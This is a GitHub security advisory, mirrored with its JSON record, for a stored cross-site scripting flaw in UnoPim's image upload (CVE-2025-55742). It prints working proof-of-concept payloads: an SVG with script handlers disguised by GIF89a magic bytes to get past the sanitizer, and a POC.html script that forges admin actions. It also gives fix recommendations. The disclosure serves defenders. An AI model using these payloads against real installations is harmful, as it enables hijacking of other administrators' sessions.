ghsa-xr97-25v7-hc2q
Vulnerability from github
Published
2025-08-21 14:25
Modified
2025-08-21 19:16
Summary
UnoPim has Stored Cross-site Scripting vulnerability in user creation functionality
Details

Summary

Affected Functionality: User creation Endpoint: /admin/settings/users/create

Details

https://github.com/unopim/unopim/blob/a0dc81947a59ada69e19e1e4313dd591d4e277b4/packages/Webkul/Core/src/Traits/Sanitizer.php#L9-L19 See the mimetype is checked for validation. Mime-type is usually identified by analysing the first few bytes of the file content, which contains the File signature or Magic bytes for e.g. GIF file starts with GIF87a or GIF89a. We can mislead the sanitizer to think the uploaded file is gif ( based on magic byte provided ) while actually it is a .svg file.

File containing is considered as svg and is sanitized: image ``` Content-Disposition: form-data; name="image[]"; filename="poc.html" Content-Type: image/svg+xml

Proof of Concept ``` image

Sanitization bypass using MIME type manipulation: image ``` Content-Disposition: form-data; name="image[]"; filename="poc.html" Content-Type: image/svg+xml

GIF89a

Proof of Concept ``` image

PoC

Upload POC.html as image. File content: ``` GIF89a

Proof of Concept ``` I changed extension to .html because even though POC.svg successfully bypassed the sanitization. When accessing the URL, the page didn't render as it should starts with <. image image Since html doesn't have any such limitation we can access it. Access the image URL to see the XSS popup. image

Impact

Suppose another admin visits the image link, the attacker can perform any operation as the victim. The session cookie is marked as http-only that disallow fetching cookies using javascript which is good thing. ( this prevent exfiltrating the cookie but still an attacker can perform any action behalf of the victim )

Example

create a product behalf of victim.

John doe (default admin ) creates another admin ( victimadmin@test.com ) When the victim-admin logs in and access the endpoint containing stored XSS, the script runs on behalf of victm-admin and the product is created. image image // info shows that victim-admin created the product. Since this image can be accessed by other admins, it can be performed behalf on any admin. It'll be recorded as done by whoever visited the link. Please see the detailed POC video for more details: https://drive.proton.me/urls/KCKTSWHA3C#W2Zus8hWucj2

Extended POC for performing the action shown in video: POC.html: ```

const url = 'http://localhost:8000/admin/catalog/products/create'; // Create a FormData object to hold the form data const formData = new FormData(); formData.append('type', 'simple'); formData.append('attribute_family_id', '1'); formData.append('sku', 'Created-by-ADMIN-VICTIM888'); // Define the headers const headers = { 'X-XSRF-TOKEN': 'eyJpdiI6IkdyS2tOVGlXQWJYeXFnMEF5bjZ3S3c9PSIsInZhbHVlIjoibWhVOElsOFZtVUdqazVZS0d3S3RHNndRNGxSU0pSM0dpK3E4YmZrYXdOU0lBZ0dBK1BBZ1Jqc3VlQU5taUVGb1BtaVBOcFRrWllMS0xkVVJKWG1SMGtJeWtOU2JpTFFwVWNmMG1ZeC9TZ3RMZjR0ajkrSUZCTDlTNGsrOEtQbi8iLCJtYWMiOiJjODBmZTk3OTFhNzc2ZTQzNDhkMzNiNmU4ODk3ZTY5MGJiOTdmZTNhYmJkNzhhZDk3ZjgxOGE4ZGFlNDFmN2EzIiwidGFnIjoiIn0=', 'X-Requested-With': 'XMLHttpRequest', 'Accept': 'application/json, text/plain, */*', 'Origin': 'http://localhost:8000', 'Referer': 'http://localhost:8000/admin/catalog/products', 'Cookie': 'XSRF-TOKEN=eyJpdiI6IkdyS2tOVGlXQWJYeXFnMEF5bjZ3S3c9PSIsInZhbHVlIjoibWhVOElsOFZtVUdqazVZS0d3S3RHNndRNGxSU0pSM0dpK3E4YmZrYXdOU0lBZ0dBK1BBZ1Jqc3VlQU5taUVGb1BtaVBOcFRrWllMS0xkVVJKWG1SMGtJeWtOU2JpTFFwVWNmMG1ZeC9TZ3RMZjR0ajkrSUZCTDlTNGsrOEtQbi8iLCJtYWMiOiJjODBmZTk3OTFhNzc2ZTQzNDhkMzNiNmU4ODk3ZTY5MGJiOTdmZTNhYmJkNzhhZDk3ZjgxOGE4ZGFlNDFmN2EzIiwidGFnIjoiIn0%3D; unopim_session=eyJpdiI6Ii9MTnNiMEJhNnZGZWVGaGQvbWdkUkE9PSIsInZhbHVlIjoiczJnZmczekRrTHMzN1phc1lmM1I0K1BkRGhRK3llOCtLcnpXODUwQnNrMWJUK29ab2Z0TDdYOUJaa3hxSGFsRzRpK1o0bGFTcTJ1N3J4QkhaYmxNRGdNNnpLUDFnYXl3QzdLNDJCQWRqbExnZ1dURGlyZW5UTWdycWlLQkFRc0oiLCJtYWMiOiJiNjNiZmM0ZjUxMTNlOTZmZGFiNzcxYzRkZDAwYTE3MGM5OTcxNWUyYTYzYjQ4ZGY5ZDkzYTdiZDJlNjUyNWQwIiwidGFnIjoiIn0%3D' }; // Send the POST request fetch(url, { method: 'POST', headers: headers, body: formData, credentials: 'include' // Include cookies in the request }) .then(response => { if (!response.ok) { throw new Error('Network response was not ok ' + response.statusText); } return response.json(); // Assuming the response is JSON }) .then(data => { console.log('Success:', data); }) .catch(error => { console.error('Error:', error); }); ``` // make sure to update the cookies and CSRF tokens in the script to the attacker's. Recommendation: Check file extension: whitelist allowed extensions. Check mime type matches with file extension ( in this case GIF89 ( mime type GIF ) and extension: svg. They are not matching so reject it. Check file extension ( endswith .svg ) and if it is svg then perform the sanitization that is in place. Affected Version: 0.1.6 ![image](https://github.com/user-attachments/assets/e0e6115a-4932-4807-bb2b-ba192d4d5989)
Show details on source website


{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.2.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "unopim/unopim"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-55742"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-21T14:25:23Z",
    "nvd_published_at": "2025-08-21T16:15:34Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nAffected Functionality: User creation\nEndpoint: `/admin/settings/users/create`\n\n### Details\nhttps://github.com/unopim/unopim/blob/a0dc81947a59ada69e19e1e4313dd591d4e277b4/packages/Webkul/Core/src/Traits/Sanitizer.php#L9-L19\nSee the mimetype is checked for validation.\nMime-type is usually identified by analysing the first few bytes of the file content, which contains the File signature or Magic bytes\nfor e.g. GIF file starts with GIF87a or GIF89a. We can mislead the sanitizer to think the uploaded file is gif ( based on magic byte provided ) while actually it is a .svg file.\n\nFile containing \u003csvg\u003e is considered as svg and is sanitized:\n![image](https://github.com/user-attachments/assets/bcb0ce04-6bbe-4058-81da-927331247d3d)\n```\nContent-Disposition: form-data; name=\"image[]\"; filename=\"poc.html\"\nContent-Type: image/svg+xml\n\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\" width=\"200\" height=\"200\" viewBox=\"0 0 200 200\"  onload=\"alert(5)\"\u003e\n  \u003crect width=\"200\" height=\"200\" fill=\"#3498db\" onmouseover=\"alert(\u0027Hover\u0027)\"\u003e\u003c/rect\u003e\n  \u003ctext x=\"50%\" y=\"50%\" font-size=\"20\" text-anchor=\"middle\" dy=\".3em\" fill=\"white\" \u003eProof of Concept\u003c/text\u003e\n\u003c/svg\u003e\n```\n![image](https://github.com/user-attachments/assets/47d33392-632e-442b-8e51-5ba5189385ca)\n\nSanitization bypass using MIME type manipulation:\n![image](https://github.com/user-attachments/assets/c4fa13a6-3c3a-4530-8d4e-68c203848a86)\n```\nContent-Disposition: form-data; name=\"image[]\"; filename=\"poc.html\"\nContent-Type: image/svg+xml\n\nGIF89a\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\" width=\"200\" height=\"200\" viewBox=\"0 0 200 200\"  onload=\"alert(5)\"\u003e\n  \u003crect width=\"200\" height=\"200\" fill=\"#3498db\" onmouseover=\"alert(\u0027Hover\u0027)\"\u003e\u003c/rect\u003e\n  \u003ctext x=\"50%\" y=\"50%\" font-size=\"20\" text-anchor=\"middle\" dy=\".3em\" fill=\"white\" \u003eProof of Concept\u003c/text\u003e\n\u003c/svg\u003e\n```\n![image](https://github.com/user-attachments/assets/18197b3c-391a-4083-a610-51db6cca476a)\n\n\n### PoC\nUpload `POC.html` as image.\nFile content:\n```\nGIF89a\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\" width=\"200\" height=\"200\" viewBox=\"0 0 200 200\"  onload=\"alert(document.cookie)\"\u003e\n  \u003crect width=\"200\" height=\"200\" fill=\"#3498db\" onmouseover=\"alert(document.domain)\"\u003e\u003c/rect\u003e\n  \u003ctext x=\"50%\" y=\"50%\" font-size=\"20\" text-anchor=\"middle\" dy=\".3em\" fill=\"white\" \u003eProof of Concept\u003c/text\u003e\n\u003c/svg\u003e\n```\nI changed extension to .html because even though POC.svg successfully bypassed the sanitization. \nWhen accessing the URL, the page didn\u0027t render as it should starts with \u003c.\n![image](https://github.com/user-attachments/assets/fb428dd8-44a1-4701-a4f5-1058afd0997a)\n![image](https://github.com/user-attachments/assets/03d6f082-66af-4fad-b6a9-e19fc1cb73dc)\nSince html doesn\u0027t have any such limitation we can access it.\nAccess the image URL to see the XSS popup.\n![image](https://github.com/user-attachments/assets/edff5f12-a95e-4134-8894-af8a4972fe2a)\n\n### Impact\nSuppose another admin visits the image link, the attacker can perform any operation as the victim.\nThe session cookie is marked as http-only that disallow fetching cookies using javascript which is good thing. ( this prevent exfiltrating the cookie but still an attacker can perform any action behalf of the victim )\n##### Example\n\u003e create a product behalf of victim.\n\nJohn doe (default admin ) creates another admin ( victimadmin@test.com )\nWhen the victim-admin logs in and access the endpoint containing stored XSS, the script runs on behalf of victm-admin and the product is created. \n![image](https://github.com/user-attachments/assets/d7b25732-b05d-445c-9df0-09e8bdc62cfd)\n![image](https://github.com/user-attachments/assets/c61086cd-6335-4c56-838f-9df88574de13)\n// info shows that victim-admin created the product. Since this image can be accessed by other admins, it can be performed behalf on any admin. It\u0027ll be recorded as done by whoever visited the link.\nPlease see the detailed POC video for more details:\nhttps://drive.proton.me/urls/KCKTSWHA3C#W2Zus8hWucj2\n\nExtended POC for performing the action shown in video:\nPOC.html:\n```\n\u003chtml\u003e\n\u003cscript\u003e\nconst url = \u0027http://localhost:8000/admin/catalog/products/create\u0027;\n\n// Create a FormData object to hold the form data\nconst formData = new FormData();\nformData.append(\u0027type\u0027, \u0027simple\u0027);\nformData.append(\u0027attribute_family_id\u0027, \u00271\u0027);\nformData.append(\u0027sku\u0027, \u0027Created-by-ADMIN-VICTIM888\u0027);\n\n// Define the headers\nconst headers = {\n    \u0027X-XSRF-TOKEN\u0027: \u0027eyJpdiI6IkdyS2tOVGlXQWJYeXFnMEF5bjZ3S3c9PSIsInZhbHVlIjoibWhVOElsOFZtVUdqazVZS0d3S3RHNndRNGxSU0pSM0dpK3E4YmZrYXdOU0lBZ0dBK1BBZ1Jqc3VlQU5taUVGb1BtaVBOcFRrWllMS0xkVVJKWG1SMGtJeWtOU2JpTFFwVWNmMG1ZeC9TZ3RMZjR0ajkrSUZCTDlTNGsrOEtQbi8iLCJtYWMiOiJjODBmZTk3OTFhNzc2ZTQzNDhkMzNiNmU4ODk3ZTY5MGJiOTdmZTNhYmJkNzhhZDk3ZjgxOGE4ZGFlNDFmN2EzIiwidGFnIjoiIn0=\u0027,\n    \u0027X-Requested-With\u0027: \u0027XMLHttpRequest\u0027,\n    \u0027Accept\u0027: \u0027application/json, text/plain, */*\u0027,\n    \u0027Origin\u0027: \u0027http://localhost:8000\u0027,\n    \u0027Referer\u0027: \u0027http://localhost:8000/admin/catalog/products\u0027,\n    \u0027Cookie\u0027: \u0027XSRF-TOKEN=eyJpdiI6IkdyS2tOVGlXQWJYeXFnMEF5bjZ3S3c9PSIsInZhbHVlIjoibWhVOElsOFZtVUdqazVZS0d3S3RHNndRNGxSU0pSM0dpK3E4YmZrYXdOU0lBZ0dBK1BBZ1Jqc3VlQU5taUVGb1BtaVBOcFRrWllMS0xkVVJKWG1SMGtJeWtOU2JpTFFwVWNmMG1ZeC9TZ3RMZjR0ajkrSUZCTDlTNGsrOEtQbi8iLCJtYWMiOiJjODBmZTk3OTFhNzc2ZTQzNDhkMzNiNmU4ODk3ZTY5MGJiOTdmZTNhYmJkNzhhZDk3ZjgxOGE4ZGFlNDFmN2EzIiwidGFnIjoiIn0%3D; unopim_session=eyJpdiI6Ii9MTnNiMEJhNnZGZWVGaGQvbWdkUkE9PSIsInZhbHVlIjoiczJnZmczekRrTHMzN1phc1lmM1I0K1BkRGhRK3llOCtLcnpXODUwQnNrMWJUK29ab2Z0TDdYOUJaa3hxSGFsRzRpK1o0bGFTcTJ1N3J4QkhaYmxNRGdNNnpLUDFnYXl3QzdLNDJCQWRqbExnZ1dURGlyZW5UTWdycWlLQkFRc0oiLCJtYWMiOiJiNjNiZmM0ZjUxMTNlOTZmZGFiNzcxYzRkZDAwYTE3MGM5OTcxNWUyYTYzYjQ4ZGY5ZDkzYTdiZDJlNjUyNWQwIiwidGFnIjoiIn0%3D\u0027\n};\n\n// Send the POST request\nfetch(url, {\n    method: \u0027POST\u0027,\n    headers: headers,\n    body: formData,\n    credentials: \u0027include\u0027 // Include cookies in the request\n})\n.then(response =\u003e {\n    if (!response.ok) {\n        throw new Error(\u0027Network response was not ok \u0027 + response.statusText);\n    }\n    return response.json(); // Assuming the response is JSON\n})\n.then(data =\u003e {\n    console.log(\u0027Success:\u0027, data);\n})\n.catch(error =\u003e {\n    console.error(\u0027Error:\u0027, error);\n});\n\u003c/script\u003e\n\u003chtml\u003e\n```\n// make sure to update the cookies and CSRF tokens in the script to the attacker\u0027s.\n\nRecommendation:\nCheck file extension: whitelist allowed extensions.\nCheck mime type matches with file extension ( in this case GIF89 ( mime type GIF ) and extension: svg. They are not matching so reject it.\nCheck file extension ( endswith .svg ) and if it is svg then perform the sanitization that is in place.\n\nAffected Version: 0.1.6\n![image](https://github.com/user-attachments/assets/e0e6115a-4932-4807-bb2b-ba192d4d5989)",
  "id": "GHSA-xr97-25v7-hc2q",
  "modified": "2025-08-21T19:16:38Z",
  "published": "2025-08-21T14:25:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/unopim/unopim/security/advisories/GHSA-xr97-25v7-hc2q"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55742"
    },
    {
      "type": "WEB",
      "url": "https://github.com/unopim/unopim/commit/49d5f6ac4d5d9ef7d9cdfe01853234d531c55f75"
    },
    {
      "type": "WEB",
      "url": "https://github.com/unopim/unopim/commit/b596021b5a5e0656abe16c01ae0e84c95f9fe902"
    },
    {
      "type": "WEB",
      "url": "https://github.com/unopim/unopim/commit/b5e169e65725e0d80b6c79d57e62a25e1af6a3c3"
    },
    {
      "type": "WEB",
      "url": "https://drive.proton.me/urls/KCKTSWHA3C#W2Zus8hWucj2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/unopim/unopim"
    },
    {
      "type": "WEB",
      "url": "https://github.com/unopim/unopim/blob/a0dc81947a59ada69e19e1e4313dd591d4e277b4/packages/Webkul/Core/src/Traits/Sanitizer.php#L9-L19"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "UnoPim has Stored Cross-site Scripting vulnerability in user creation functionality"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
  • Confirmed: The vulnerability is confirmed from an analyst perspective.
  • Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
  • Patched: This vulnerability was successfully patched by the user reporting the sighting.
  • Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
  • Not confirmed: The user expresses doubt about the veracity of the vulnerability.
  • Not patched: This vulnerability was not successfully patched by the user reporting the sighting.


Loading…

Loading…